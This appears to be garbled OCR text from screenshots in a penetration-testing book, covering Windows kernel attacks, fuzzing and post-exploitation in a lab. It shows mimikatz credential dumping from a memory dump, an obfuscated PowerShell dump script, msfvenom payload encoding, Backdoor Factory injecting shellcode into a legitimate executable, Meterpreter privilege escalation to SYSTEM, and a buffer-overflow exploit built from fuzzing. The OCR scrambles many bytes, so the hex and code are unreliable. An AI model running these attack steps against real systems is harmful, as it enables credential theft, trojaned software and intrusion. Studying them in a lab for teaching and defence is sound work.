b,0x88,0x5c,0x24,0x7,0x80,0xe3,0x68,0x21,0x58,0x20,0x20,0x68,0x79,0x65,0x65,
Bx74,0x31,0xcO,0x88,0x4c,0x24,0x5,0x80,0xel,0x31,0xd2,0xba,0x40,0x53,0x51,0x
52,0xff,0xd0,0x31,0xcO,0x50,0xff,0x55,0x8

r—(kali® kali) - [~]
el |

165544177
165544178
165 544179 Message
165544180
165544181
165544182
165544183
165544184

165544185
165544186
165544187
165544188
2948




R

mimikatz 2.2.0

LLIN

A La Vie, A L'Am@u;
J*** Benjamin DELPY
> http://blog

Vincent LE TH

ww

v

“ﬂentllklu
.gentilkiwi.com/mimikatz
: (

.
{

C:\Tools\Mimikatz\mimikatz-master\Win32+>mimikatz.exe

2028 11:13:

10

benjamin@gentilkiwi.com

vincent.leto mail.com

=

)

)

T http://

mysmartlogon.com LRI

> http://pingcastle.com /
mimikatz # sekurlsa::minidump pirate_booty.dmp

Switch to MINIDUMP 'pirate booty.dmp’

mimikatz # sekurlsa:

: logonPasswords

Opening

'pirate_booty

.dmp’

file for minidump..

[&] pirate ps1 3
1 $H:|.n.'ErrRep [PSObj ect] Assem.bly GetType{
2 $w:erNat:|.veMethods = $H1nEr;ﬁ;p éetNesEé;lTi)iJe { Na . Public')
3 $Flags = [Reflection.BindingFlags] 'NonPublic
4 5g3758hjh3 = SwerNativeMethods.GetMethod (' M n- pWriteDump', $Flags)
5 SMiniDumpfull = [UInt32]
-
: Find  Replace Find in Files Find in Projects Mark
i Eind what : v| Find Next O
11 Hode] : :Create)
12 Replace with : | $0j758hjh3 v | Replace
:~ In selectjon | Replace All |
g [ Backward direction Replace All in All Opened
- Documents
- [ Imatch whole word anly
- [ IMatch case Close
. [«] Wrap around
21 Search Mode [] Transparency
o (@ Mormal (@ on losing focus = — .
na O Extended (\n, \r, \t, \0, x...) O Aways S
25 (O Regular expression . matches newling ]
:' Replace All: 2 occurrences were replaced in selected text
B
[jﬁlccT kali)-[/home/kalil]
ha256sum shelll.exe
5caf7877c81aab94b9f8db7d9d3d2938babd3655978c90a24ac7/af3thad89307 shelll.exe
[jﬁlccT kali)-[/home/kalil]
sha256sum shell2.exe
808f3657a3eb4bblb456ace’/T88ec0a22bd960371e018827e8278306939Te551 shell2.exe



gi

40888a:

00001010:
00001020
00001030:
00001040:
00001050
00001060
00001070:
00001080
00001090
000010a0:
000010b0:
000010c0:
000010d0:
000010e0:
00001070
00001100:
00001110:
00001120:
00001130:
00001140:
00001150
00001160:
00001170:
00001180:
00001190:
000011a0:
000011b0:
000011c0O:
000011d0:

L

401132:

roote kali)-[/home/kali]
objdump -D shell noencode.exe

a3fc 1741 00a3 a80b 414c
10418 4100 33db a348 4041
54d 0850 51c7 05f0 1741
1d40 3c41 dbe8 d64c 002a

d8a4 00 5353
b2P0O 8b55 0c8b|b508
8d 444a

c33e

2450

45fc 8d4d fb50 5168 14d2

ff00 85c0 0185 9a04 00P8

78be 45fb 83cO bf83 839
8a88 0817 4000 7a24

b4ff 156c c140 0083

04c9

d08d 0073 d 7f00 0068
0400 00e9 2b04|fOEO c75a
P0eT © 0400 00b3 1d14

55fc

0000 8bb9 6d50 ffl5 ddcl
00e9 44f6 0000 be7e fc51
a36c 7fbc 00e9 e903 4200
7e0d 68d8 d16f 00e8 1406
058c 0267 00ff ff2d ff30
fc52 fffd 88af d600 a3b8
0000 _e0ld 1cdO 4000 e9%a9
3 cea3 e05e
0089 1d20 eed0 26e9 8a03
4100 74b0 3abc d140 0065
048b 4dbb 51e8 de30 0000
2fc7 131e 0241 004c 0000
391d 2038 4100 0flb 4a03
cl40 0039 1d60 d841 0074

a344
63bb
0044
68e0
6863
8b0od
0000
4000
8b35
087
8d98
c404
f82e
6802
7640
4000
ff15
391d
0000
c803
0b41
0300
1000
0000
b205
835e
a3e9
0000
0d68

68 cb a8 6c 75

8841
8d45
d240
5f40
4041
4c40
8b55
52e8
68cl
abo4
1640
41c3
4000
4100
bde9
a3ls
6ced
603
80c4
0000
00e9
008b
€992
686a
0000
043b
5603
50ff
ab47

00a3
0cO7
0088
00e8
00e8
4100
f48d
deda
4000
ccho
008b
a310
e86d
0100
2104
907
4000
4100
04c7
8b55
b19a
45fc
3¢c00
60da
83c4
c375
0000
155e
4000

(roote kali)-[/home/kali]
objdump -D shelll.exe -M intel
68 d8 dl 6T 68

(roots kali)-[/home/kali]

-M intel | grep "cB a8 b6c 75"

push

00001020

00001010:

00001030:
00001040:
00001050
00001060
00001070
00001080
00001090
000010a0:
000010b0:
000010c0:
000010d0:
000010e0:
00001070
00001100:
00001110:
00001120:
00001130:
00001140:
00001150
00001160:
00001170:
00001180:
00001190:
000011a0:
000011b0:
000011c0O:
000011d0:

26e8 17f6 00a3 a80b
: [0418 4100| 6cdb a392
8dd9 0850 51c7 1cf0
1d40 6a4l 00e8 fb4dc
8ca4 00d8 830c 0453
223e 0600 8b55 0c8b
5250 7e

45fc 8d66 850 5168

Ox756ca8cO

4100
405a
1741
21ad
53b6
4508
444a

0000 85cO eds85 9a04

0P9

0f24 45f9 00cO bf83
33c9 4c88 0817 407a
55fc 52ff fféc 4e40
d040 000f 8f3d 5c00
0000 ellf 0400 0089
0000 8b45 fc50 ffl15
00e9 f703 0000 8b4dd
5b6c 0241 00e9 €903
7e0d 68d8 d140 00e8
0560 445c 00ff 3aff
fced ff91 88cl 4000
0000 891d 12d0 4000
S5Pff 1588 c146| 00a3
0089 1d20 d440 00e9
4100 4dod 530f d140
528b 4dfc aae8 8604
8646 0560 0241 0001
391d 2838 4100 fds4
c140 8d39 1d60 0241

| grep "68 d8 d1"

push

f8a3
ff24
0083
6968
5a05
1d14
6ccl
fcch
0000
1406
ffe9
a3b8
81a9
e0l17
8a03
0057
0000
100
4a03
5c¢74

a344
0057
0044
68e0
684c
8b5¢
0000
4000
8b35
3a87
9098
cdea
8fdl
1a02
de4e
4000
115
391d
5d00
c803
0b41
0300
4100
0000
6e05
ddc4
00e9
0000
0d68

4041
8d82
d240
540
9b41
4cb7
8b55
525e
ebef
6604
1640
3bll
40fc
4160
0096
a3l8
decl
6002
83c4
0000
00b3
008b
1192
aald
0074
043b
5603
50ff
addl

aza3
Occa
0088
7d39
00e8
41eb
4d8d
deda
4000
0036
008b
a342
e86d
0100
1404
do4e
409f
4100
04c7
8b55
b103
96fc
0360
6002
83c4
c375
b200
e070
4000

Ox6Td1d8

[:; objdump -D shell2.exe -M intel
401132: 68 d8 dl 40 68

| grep "68 d8 dl1"
push  0x40d1d8

[:—{rootntkali]—[fhnmefkali]
# python

Python 2.7.18 (default, Jun 6 2022, 22:21:27)

[GCC 10.2.1 20210110] on linux2

Type "help", "copyright", "credits” or "license" for more information.

>



02420640
2842C658
2842660
2842C570
2842C630
0842(690
[2342C64A0
2242C6E0
2242CeC@
2842C6D0
2@42C6E@
2242C5F0
2842C700
0842C710
lea42C720
2042730
0242740
2842C758
2842C760
@a42C770@
[2842C780
0842C790
12a42C7A0
2042C7B0
2242C7C8
2842C7D0
2e42C7ER
2842C7F0

43
FF
FF
E8

0002BBB1 000000000042C7B1:

[:;(

57
ce
43
FF

A2

roots kali)-[/home/kali]
msfvenom --arch x86 --platform windows --payload windows/shell/bind tcp EXITF

E9
E8
E3
2C

Ixc.élwyyreAc.és
1 byY5,,AC. h%AC. 26
®pyrUAC. é—|pyteA
C.2AchyhiAC.y.,0
B.A®.AC.é3@pyC. .
AC.~OB.1.AC.6.°

-text:0042C7B1 (Synchronized with IDA View-3&)

program code

code cave

NC=thread LPORT=1066 --encoder x86/shikata ga nai --iterations 5 > trojan.bin

Found 1 compatible

encoders

Attempting to encode payload

x86/shikata ga nai
x86/shikata ga nai
x86/shikata ga nai
x86/shikata ga nai
x86/shikata_ga nai
x86/shikata ga nai

[:;(
0eOEO00O0 :
0eOEO010:
0eOROO20:
0eOLEOO30:
00E0e0R40:
0e0EOE50:
00000060 :
0eOROOTO:

bbad
83ed
cbea
8ac9
085t
az2ff
d3eb
36bd

succeeded
succeeded
succeeded
succeeded
succeeded

with
with
with
with
with
with

chosen with final size 482
Payload size: 482 bytes

815b
fec3l
2548
1ad4
c829
4bab
5e39
4a90

d8db
5d11
Obfd
ae79
1a80
2df2
410
35ch

roote« kali)-[/home/kali]
xxd trojan.bin

cbd9
035d
0595
cb75
e/fo
c295
7618
ad4s

7424
1le2
a5bo
c5fe
T79c
Tde4
8elde
9ad9

T45d
585b
918
179c
1feb
51e9
4eb0
cf43

33c9
8dol
dead
b459
e7lb
21bc
cd62
0790

b172
d678
829b
422c
98da
S1ff
783c
324c

K-
M9 .vL L LN L bx<
6.3.5..H...C..2L

5 iterations of x86/shikata ga nai
size 374 (iteration=0)
size 401 (iteration=1)
size 428 (iteration=2)
size 455 (iteration=3)
size 482 (iteration=4)

R | B

ceeleon 813001
R N IR P 4 ¢
WBHL Lo UNL L
...D.y.u.....¥B,

T

H.Q.



In the backdoor module

Checking if binary is supported

Gathering file info

Reading win32 entry instructions

Looking for and setting selected shellcode

Creating win32 resume execution stub

Looking for caves that will fTit the minimum shellcode length of 941

[*#] ALL caves lengths: 941
B T T T e ]

The following caves can be used to inject code and possibly

continue execution.

**Don't like what you see? Use jump, single, append, or ignore.**

S RS R R R

[#] Cave 1 length as int: 941

[*] Available caves:

1. Section Name: None; Section Begin: None End: None; Cave begin: 0x284 End:
Oxffc: Cave Size: 3448

2. Section Name: .text; Section Begin: 0x1000 End: 0x4b000; Cave begin: Oxdad
7T End: @xdaffc; Cave Size: 2941

3. Section Name: .rdata; Section Begin: @x4b000 End: 0x5c000; Cave begin: 0x5
b3f0 End: @x5bffc: Cave Size: 3084

—— — — — —
* * O * X ¥ KX
[ O S

0004a400: 74fd ffb9 6000 4600 e936 74fd ffb9 @0la t... .F..6t.....
0004a410: 4600 e92c 74fd ffb9 abl8 4600 e%eb 2afd F..,t..... F.o.o.*%.
0004a420: ffb9 f818 4600 e9dc 2afd ffb9 5019 4600 ....F...*...P.F.
0004a430: e9d2 2afd ffb9 a8l9 4600 e9c8 2afd ffb9 ..*..... Foo %o
0004a440: 1cla 4600 e92b 79fd ffb9 18la 4600 e9f0 ..F..+y..... F...
0004a450: 73fd ffb9 28la 4600 e91f 72fd ffb9 201d s...(.F...r... .
0004a460: 4600 e9dc 73fd ffb9 e827 4600 e9cd c4ff F...s....'F.....
0004a470: ffb9 2428 4600 e9a5> c5Tf .-

0004a590:
0004a5a0:
0004a5be :




11. Section Name: .data; Section Begin: @x5c000 End: 0x60000; Cave begin: 0x5
ccch End: 0x5ce94; Cave Size: 457

12. Section Name: .data; Section Begin: 0x5c000 End: 0x60000; Cave begin: 0x5
c¢fll End: Ox5d0e5; Cave Size: 468

13. Section Name: .data; Section Begin: 0x5c@@@ End: 0x60000; Cave begin: @x5
dllb End: 0x5d2ed: Cave Size: 457

23. Section Name: .data; Section Begin: 0x5c000 End: 0x60000; Cave begin: 0x5
efeb End: Ox5T20c; Cave 5ize: 551

26. Section Name: None; Section Begin: None End: None; Cave begin: 0x5fca3 En
d: Ox6000a: Cave Size: 871

R+ 3 EEEE L EE S SIS EES

['] Enter your selection: 7

['] Using selection: 7

[*] Changing flags for section: .data

[*¥] Cave 2 length as int: 545

[*#] Available caves:

1. Section Name: None; Section Begin: None End: None; Cave begin: 0x284 End:
Oxffc; Cave Size: 3448

2. Section Name: .text; Section Begin: @x1000 End: 0x4b@00; Cave begin: 0xdad
7f End: Oxdaffc: Cave Size: 2041

5. Section Name: .rdata; Section Begin: 0x4b000 End: 0x5c000; Cave begin: 0x5
b3f® End: Ox5bffc; Cave Size: 3084

23. Section Name: .data; Section Begin: @x5c@00 End: 0x60000; Cave begin: @x5
efe5 End: 0x5f20c; Cave Size: 551

26. Section Name: None; Section Begin: None End: None; Cave begin: 0x5fca3d En
d: Ox6000a; Cave Size: 871

kFkkEkkkkkrkkkkkkkkkE kbbb kkkkkkkkkkkrkkkkkFkkrEk
[!] Enter your selection: 2J}



A DataRecovery

(
\

Scan

-1-{M& Drive

g&c

[ | File Folder
L

Type

Select C:\Windows\system32\cmd.exe

Active Connections

Proto Local Address

TCP
ICP

CP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
UDP
uDpP

Ns s 555 s (s + ©

SN eMNE®Y

LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
TIME_UWAIT
LISTENING
TIME_UWAIT
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING

L

) - [/home/kali/the-backdoor-factory]

0005b570:

xd fhome

/kali/the-backdoor-factory/backdoored/datarec jumps2.exe | grep

[ALYE

cfla 3746 a8c8 164 bbed



Chapter 13: Windows Kernel Attacks

User Mode

Executive services

Window manager; |/O manager; power manager;
object manager

Kermel mode drivers Kernel

(roote kali)-[/home/kali]
[:; ./pointer

Variable x is currently 10. *point is 10@.
After assigning 20 to the address referenced by point, *point is now 20.

¥ 1s now 20.



<
RAX [EAX AX ]

"/
64 bits
| 32 bits

| 16 bits

<= —

Higher memory Lower memory

tRSS [ WinLogon [ User mode ]
processes
USER32.dll USER32.dll Kernel132.dlI
NTDLL.dII

!

NT Kernel




CSRSS

WinLogon

USER32.dll H USER32.dll

) ¢

User mode
processes

Kernel132.dll
NTDLL.dII

kernel mode payload
P

user space

kemel space

NT Kernel

@FFFFFDFFh

loc_BF9392D3:

eax, cmp ebx, @FFFFFFFFh
[edi], eax jnz short loc_BF9392EB
ebx, @FFFFFFFFh
short loc_BF93920A
| g
s 5 FIZE (il s 5
mov eax, dword_BFALEBS3 push 1
mov ecx, [edi+3] loc_BF93920A: push [ebpt+arg_8]
add eax, ©B4h test ebx, ebx push esi push %]
mov edx, [eax] jz short loc_BF939229| |push edi push [ebp+arg_8]
mov [ebp+var_14], edx call sub_BF9178BB push 1EDh
lea edx, [ebp+var_14] jmp short loc_BF9392FB| |push
mov [eax], edx call
mov [ebp+var_18], ecx
test ecx, ecx

short loc_BF9391D2

| b |




msT6 exploit(multi/handler) > sessions -1

Active sessions

Id Name Type Information Connection
1 meterpreter x86/windows FEDBANK-FRONT\FrontDesk @ FEDBAN 192.168.108.211:1066 -> 192.168.1
K-FRONT 08.198:49510 (192.168.108.198)

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: FEDBANK-FRONT\FrontDesk

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/msl4 058 track popup_menull

msf6 exploit(multi/handler) > use exploit/windows/local/msl4 058 track popup menu
[*] No payload configured, defaulting to windows/meterpreter/reverse tcp

msf6 exploit(windows/local/ms14_058_track_popup_menu) > set SESSION 1

SESSION => 1

msf6 exploit(windows/local/msl4_058_track_popup_menu) > set LHOST 192.168.108.211
LHOST => 192.168.108.211

msf6 exploit(windows/local/ms1l4_058_track_popup_menu) > set LPORT 1066

LPORT == 1066

msTh exploit(windows/local/msl4 058 track popup menu) > run

[*] Started reverse TCP handler on 192.168.108.211:1066
[*] Reflectively injecting the exploit DLL and triggering the exploit...
[*] Launching netsh to host the DLL...
Process 3096 launched.
[*] Reflectively injecting the DLL into 3096...
[*] Sending stage (175174 bytes) to 192.168.108.189
Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened (192.168.108.211:1066 -> 192.168.108.189:49463) at 2021-11-17 16:32:39 -0

500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > []



Chapter 14: Fuzzing Techniques

SCDaemon
File View Help

TFTP Server

Start Time | Peer | Bytes' Status

FTP Server

ogging to Ftpd log.
Click to stop

ing
Click to start.

Syslog Server

TFTP Client

For Help, press F1

Mar14, 2022 15:10:51 local

0 Listening for FTP requests on IP address: 192.168.108.189, Port 21

NUM



@ Tzof - The Art of Fuzzing

(=0 PE (=
File Settings Help
%Data Retrieval aFuuing
Request List
-
’6 Taof - Data retrieval =@ || 2 ]

Listening mode
% Network Settings

[ Taof - Network Setti
Local settings

Local server

bic Local port

Remote settings

Remote server

Remote port

@ tcp

ngs o] ® ==

0.0.00

1066
192.168.108.189
21

© udp

&P ok .

(7= Open l

m

s




File Settings Help

& Data Retrieval a Fuzzing

Send request "as 15"

I % Set fuzzing points

'Regquest List
RequestID Time
18 15:23:11
19 15:23:12
20 15:23:12
A 15:24:59
22 15:25:02
23 15:25:14
24 15:25:24
< | f | »
Request Contents
'USER pickles\r\n’
P | L] r
Fuzzing Options

Ready



© Taof - Fuzz Request

Request

55 53 45 52 20 61 6¢ 6f 6¢ 79 6d 6f 75 73 0d 0a

m

<l i »

C i J »
Erora r Stack/Heap overflows
To 14 String overflows

[7] @, Set varisble length field RSgerOeHioWs
S —— ["] Dictionary attack
To
Value iO _ + Signature length

@ ascii littleendian  big endian

<P Add

Fuzzing Points

From To Value(length) From (length) To (length) *

ok




& Taof - Fuzzing E=n e
Target

Remote server | 197168.108.189 | Port 1 |
@ tcp O udp

Attach debugger to fuzzed service
&) Attach process

[Fuzzing request: 15 2
Number of fuzzing points: 0
|[Fuzzing request: 16

Number of fuzzing points: 0
|Fuzzing request: 17

Number of fuzzing points: 0
[Fuzzing request: 18

Number of fuzzing points: 0
|Fuzzing request: 19

Number of fuzzing points: 0
|Fuzzing request: 20

Number of fuzzing points: 1

+ Buffer overflows
e frdr e d e A

[*] It was not possible to connect to 192.168.108.189:21. It might be down. Retrying now...

[*] It was not possible to connect to 192.168.108.189:21. It might be down. Retrying now...

m

[*]1 could not connect to the server. I might have killed the service (which is good!).

[*] Fuzzing session because remote server is not responding.

1

T
66 27 4

/N, ACK
54

ACK] Seq

49372 > 21
FTP 96 Response: 220 3Com 3CDaemon FTP Server Version 2.0
FTP 7@ Request: USER anonymous
FTP 87 Response: 331 User name ok, need password
FTP 66 Request: PASS User@

FTP 74 Response: 230 User logged in



from boofuzz import *

session = Session(
target = Target(
connection = TCPSocketConnection("192.168.108.211", 21)))

user = Request("user”, children = (
String("key", "USER"),
Delim("space", " "),
String("val", "anonymous"),
) Static("end", "\r\n"),
)

passwd = Request("pass", children = (
String(“key", "PASS"),
Delim("space", " "),
String("val", "pickles"),
Static("end", "\r\n",)

))

stor = Request("stor", children = (
String("key", "STOR"),
Delim("space”, " "),
String("val", "zzzz"),
Static("end", "\r\n"),

))

session.connect(user)
session.connect(user, passwd)
session.connect(passwd, stor)

session.fuzz()l

session.connect(user)
session.connect(user, passwd)
session.connect(passwd, stor)

session.fuzz()



AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\XOB\XO0 anonymous\rin'

[2@22 05-31 12:27:45 373] Test Step: Contact target monitors

[2022-05-31 12:27:45,373] Test Step: ;LH4|L.Q up connection rom callbacks
[2022-05-31 12:2?:45,3?3] Check OK: No crash detected

[2022-05-31 12:27:45,373] Info: C1051ng target connectlon

[2022-05-31 12:27:45,373] Info: Connection closed.

[2022-05-31 12:27:45,374]

[2022-05-31 12:27:45,374] Info: Type: String

[2022-05-31 12:27:45,374] Info: Opening target connection (192.168.108.211:21)...
[2022-05-31 12:27:45,374] Info: Connection opened.

[2022-05-31 12:27:45,374] Test ?i-ﬁ. Monitor CallbackMonitor#3048696992[pre=[],post=[]
,restart=[],post start target=[]].pre send()

[2022-05-31 12:27:45,374] Test Step: Fuzzing No

[2022-05-31 12:27:45,374] Info: Sendlng 10012 bytes

[2022-05-31 12:27:45,374] Transmitted 10012 bytes: 2f 5¢ 2f 5c¢ 2f 5¢ 2f 5¢ 2f 5c¢ 2f

5¢ 2f 5c¢ 2T 5¢ 2f 5c¢ 2f 5¢ 2T 5c¢ 2f 5c¢ 2f 5c 2f 5c¢ 2f 5c¢ 2f 5c¢ 2f 5¢ 2f 5¢ 2T 5¢ 2T 5¢ 2
f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5c¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢
2T 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢c 2f 5¢ 2f 5¢ 2f 5¢ 2T 5¢ 2f1
5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5c¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5c¢ 2f 5¢ 2f 5¢ 2
f 5¢ 2f 5¢ 2f 5c¢ 2f 5c 2f 5c 2f 5c¢ 2f 5¢c 2f 5¢ 2f 5c¢ 2f 5¢ 2f 5¢ 2f 5c¢ 2f 5c 21 5c¢ 2T 5c
2f 5¢ 2f 5¢ 2f 5¢ 2f 5c¢ 2f 5¢ 2f 5¢ 2f 5c¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5c¢ 2f
5¢ 2f 5¢ 2T 5¢ 2f 5¢ 2f 5¢ 2f 5c¢ 2f 5¢ 2f 5c¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2T 5¢ 2T 5¢ 2
f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5c¢ 2f 5¢ 2f 5¢ 2f 5¢
2T 5¢c 2f 5c 2f 5c¢ 2T 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2T 5c¢ 2f 5c 2f 5c¢ 2f 5¢c 2f 5¢c 2f 5c¢ 2f
5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2
f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5c¢ 2T 5¢
2f 5¢ 2f 5c¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f 5¢ 2f
5¢ 2f 5c¢ 2T 5¢ 2f 5c¢ 2f 5¢ 2T 5c¢ 2f 5c 2f 5c 2f 5c 2f 5c¢ 2f 5¢ 2f 5¢ 2f 5¢ 2T 5¢ 2f 5¢ 2

boofuzz Fuzz Control

Total: { of many
user:

run time

exec speed

current user:;[user.key:675]

Crash Synopsis

case




. =) FTP@local L - J 5,
Server Options Help
S el °ab| O ||l X] H|?|mE] W

B+ LabF.com A
B-E3 nfsdze
(00 NFScI2K
) NFScl9s
fe0) NFScixed ||
B-{] Videos -
Name | Size | &
.motifbind 989 (]
AlX.SU 64 -
BELGIAN.KMF 12052
CROATIAN.KMF 7629
DANISH.KMF 12450
DECEMFR.KMF 11324
DECEMFRC.KMF 13288
DECEMGR.KMF 11570
DECEMUK.KMF 10552 =
< | i | P

C:\Users\Public\Program Files\LabF.com\nfsAx Login as l Remote ﬁlesl Settingsl Quote I

Profile: I

Ll Save

Host 1D; l

Ll Delete

User Name:  [ananymous

Password : ]guest

Account: l

Initial Dir:  [<Default Directory>

Server Type

URIS v

V' Anonymous

& FTP

" FTP via X0W/P SOCKS4
" SFTP mode

" NFSbrowser

g3

Connect

[— |Getting local directories...




(roote.s kali)-[/home/kali]
[:; ./phuzzy.py

How many bytes of fuzz?

1256

** Phuzzy Phil's FuzzTP **
Server is up.

Listening at 0.0.0.0 on port 21

Fuzzing exploit length: 256 bytes
Connection accepted from FTP client 192.168.108.150, remote port 49958

Fuzz payload sent! Closing connection, exiting server.

I_—#(ioot - kali)-[/home/kali]

The names of the selected package is: -

-¢{Negotiate> <Microsoft Package Negotiator> -
calling ass_init_sec_context ‘-’
230 0K

220 2222222222222 2222222222222 222222222222 2222222222222222222222222222222222222222222222 «

Application Name: ftp.exe
Application Version: 09.01
Application Timestamp: 4863b612

Fault Module Name: StackHash_e3ef
Fault Module Version: 0.0.0.0

Fault Module Timestamp: 00000000
Exception Code: ¢0000005

Exception Offset: Jajalala

(root. kali)-[/usr/share/metasploit-framework/tools/exploit]
./pattern create.rb -1 4000 > /home/kali/fuzz.txt



#try:

# i = int(input("\n\nHow many bytes of fuzz?\n\n:"))
#except ValueError:

# print("\n\n* Exception: Byte length must be an integer *")
# sys.exit(0)

#fuzz = b"\x7a" * 1

with open("fuzz.txt") as fuzzfile:
fuzz = bytes(fuzzfile.read().rstrip("\n"), "utf-8")

--2912 audiodg . exe |_|
R 2232 ftp.exe -

@ System order ) ByID ) By Executable

Process ID:
2232

[ ] Noninvasive

OK | Cancel | | Hep |

(BbB al4): Access wiolation - code 0000005 (first éiance)
First chance exceptions are reported before any exception handling.
Thi=s exception mayvy be expected and handled.

eax=02d9%cc01l ebx=37714336 ecx=71433571 edx=43347143 es1=33714332 edi1=71433171

e1p=43387143 e=p=02d9dd4ef ebp=00000£fab 1opl=0 nv up ei pl nz na po nc
ce=001b s===0023 ds=0023 es=0023 £{=s=003b g==0000 efl=00010202
43387143 7?7 77

(root- kali)-[/usr/share/metasploit-framework/tools/exploit]
[:; ./pattern offset.rb --length 4000 --query Cq8C
[*] Exact match at offset 2064



#try:

# i = int(input("\n\nHow many bytes of fuzz?\n\n:"))
#except ValueError:

# print("\n\n* Exception: Byte length must be an integer *")
# sys.exit(0)

#fuzz = b"\x7a" * 1

fuzz = b"\x7a" * 2064 + b"\xef\xbe\xad\xde"

(bS50 .clc): Access wiolation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=02elccll ebx=7a7a7a7a ecx=7a7a7a7a edx=7a7a7a7a e=si=7a7a7a7a edi=7a7a7a’a

eip=deadbeef esp=02eld4ef ebp=000008la iopl=0 nv up 1 pl nz na po nc
cs=001b s=s=0023 ds=0023 es=0023 £{s=003b gs=0000 efl=00010202
deadbeef 77 77

| 2,064 bytes i

EIP

shellcode

buf += b"\x58\x06\x6T\x6b\x2e\x49\xb3\xc8\x21\xfc\x96\x79\xa8"
buf += b"\xfe\x85\x7a\xf9"
fuzz = b"" * 1723 + buf + b"\xef\xbe\xad\xde"



Chapter 15: Going Beyond the Foothold

meterpreter > ipconfig

Interface 1

Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:Ffff:Ffff.FFFf

Interface 11

===

Name : Intel(R) PRO/100O0 MT Network Connection
Hardware MAC : 00:0c:29:82:4b:a9
MTU : 1500

IPv4 Address : 192.168.249.153

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::2822:eb61:b315:2397
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 12

Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00 I
MTU : 1280

IPv6 Address : fe80::5efe:c0a8:6c99
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:Ffff:FFfff:FFff

Interface 13

Name : Intel(R) PR0O/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:82:4b:9f
MTU : 1500

IPv4 Address : 192.168.108.153

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::35b0:571c:88e5:8d1
IPv6 Netmask : ffff:ffff:ffff:ffff::



meterpreter > arp

ARP cache

IP address

DO DD DD ODOD

NN
LI s = =« = = = = = &
U

.235.
.255.
.235.
.255.

DO 0D DD DO DODOO

.252
.252
.235.
.255.
253.
255.
253.
255.

250
250
250
255
255
255

MAC address

:c2:87
:5d:
:51:
:69:
:b7:
144
:18:
105
:f3:
:88:
:d4:
:46:
(ff:
:25:
:9¢:
(ff:
100
:00:
100
:00:
:00:
:00:
100
:00:
100
:00:
:00:
(ff:
(ff:
(ff:
(ff:
(ff:

78
f3
d2
22
96

Oc
4a
76
ad
ff
73
d8
ff
00
02
02
02
00
16
16
16
fc

00
fa
fa
ff
ff
ff

Interface



msf6 > search type:post forensics

Matching Modules

# Name Disclosure Date Rank Check Description

0 post/windows/gather/[iliiSlSEE/ fanny bmp check normal No FannyBMP or Dementi
aWheel Detection Registry Check

1 post/windows/gather/GHEEE/ recovery files normal No Windows Gather Dele
ted Files Enumeration and Recovering

2 post/windows/gather/EHEEEE/inager normal No Windows Gather Fore

nsic Imaging

3 post/windows/gather/ /duqu check normal No Windows Gather
B8 Duqu Registry Chec
4 post/windows/gather/ /nbd_server normal No Windows Gather Loca

1 NBD Server

5 post/windows/gather/ iiGHSEEE/ enun_drives normal No Windows Gather Phys
ical Drives and Logical Volumes
